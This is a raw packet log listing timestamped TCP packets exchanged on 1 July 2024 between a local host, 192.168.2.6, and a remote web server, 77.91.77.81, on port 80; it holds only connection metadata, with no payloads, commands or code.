Jul 1, 2024 07:20:51.361682892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361690044 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361709118 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361733913 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361890078 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361898899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361908913 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361922979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361928940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361933947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361948967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361955881 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361967087 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361968994 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361982107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.361989021 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.361991882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362013102 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362040997 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362153053 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362174034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362184048 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362190008 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362194061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362205029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362205029 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362215042 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362224102 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362224102 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362240076 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362250090 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362250090 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362262011 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362267971 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362272978 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362282991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362283945 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362293959 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362303019 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362310886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362313986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362407923 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362407923 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362488031 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362498045 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362508059 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362517118 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362525940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362546921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362586021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362596989 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362607002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362616062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362618923 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362632990 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362643003 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362649918 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362657070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362668037 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362674952 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362678051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.362693071 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.362708092 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389137983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389151096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389161110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389169931 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389180899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389190912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389197111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389216900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389225960 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389269114 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389475107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389484882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389493942 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389517069 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389533997 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389564991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389574051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389584064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389605045 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389631987 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.389688969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389698982 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.389731884 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.423661947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423676014 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423686981 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423716068 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423727989 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423738003 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423743010 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.423751116 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423801899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423806906 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.423837900 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.423873901 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423885107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423908949 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423916101 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.423923969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423933983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423944950 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.423974991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.423978090 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424000978 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424010992 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424012899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424040079 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424057961 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424077034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424148083 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424160004 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424171925 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424182892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424185991 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424189091 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424205065 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424246073 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424280882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424293041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424304008 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424314022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.424319029 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.424352884 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.453871012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.453905106 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.453915119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.453944921 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.453954935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.453967094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.453964949 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.453979015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454014063 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454030037 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454066992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454102039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454166889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454202890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454211950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454235077 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454260111 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454277039 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454288006 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454298019 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454308987 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454319000 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454346895 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454375029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454408884 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454451084 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454462051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454473972 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454483986 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454497099 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454504013 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454508066 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454530954 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454555035 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454576015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454617977 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454648018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454659939 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454670906 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454680920 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454682112 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454693079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454699993 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454730988 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454864979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454875946 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454886913 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454898119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454902887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454910040 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454921961 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.454924107 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454951048 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.454968929 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.455075979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455087900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455131054 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.455171108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455182076 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455193043 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455204010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455213070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.455214024 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.455230951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.455255985 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457145929 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457185030 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457195997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457252026 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457273960 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457278967 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457289934 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457304955 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457314968 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457329035 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457487106 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457496881 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457504988 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457509041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457520962 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457529068 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457535028 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457545996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457556963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457564116 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457595110 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457777023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457787991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457801104 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457811117 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457817078 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457822084 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457834005 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457834005 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457844973 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457856894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457865953 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457866907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457878113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457889080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457897902 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457899094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.457918882 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.457937002 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.458148003 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458277941 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458287954 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458298922 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458308935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458318949 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458322048 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.458331108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458340883 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458352089 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458353996 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.458362103 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458374023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458375931 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.458384991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.458405018 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.458421946 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483016014 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483027935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483040094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483083963 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483119011 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483122110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483134985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483144999 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483167887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483192921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483257055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483268976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483279943 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483289003 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483289957 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483309984 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483342886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483406067 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483417988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483433008 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483442068 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483443022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.483464003 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.483486891 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517045021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517055988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517066956 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517105103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517111063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517122984 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517134905 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517153978 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517174959 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517203093 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517227888 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517237902 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517261028 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517273903 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517286062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517304897 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517308950 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517318010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517327070 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517330885 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517344952 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517369032 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517451048 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517462015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517496109 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517518044 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517529011 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517549992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517560959 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517565012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517582893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517585039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517587900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517592907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517615080 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517640114 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.517729998 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.517765045 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.548212051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548326969 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.548429966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548445940 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548456907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548465967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.548469067 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548485994 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548492908 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.548499107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.548542976 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.549768925 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549808025 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549818993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549818039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.549859047 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.549870014 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.549896955 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549906969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549917936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549923897 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.549931049 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.549946070 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.549973965 CEST	49714	80	192.168.2.6	77.91.77.81
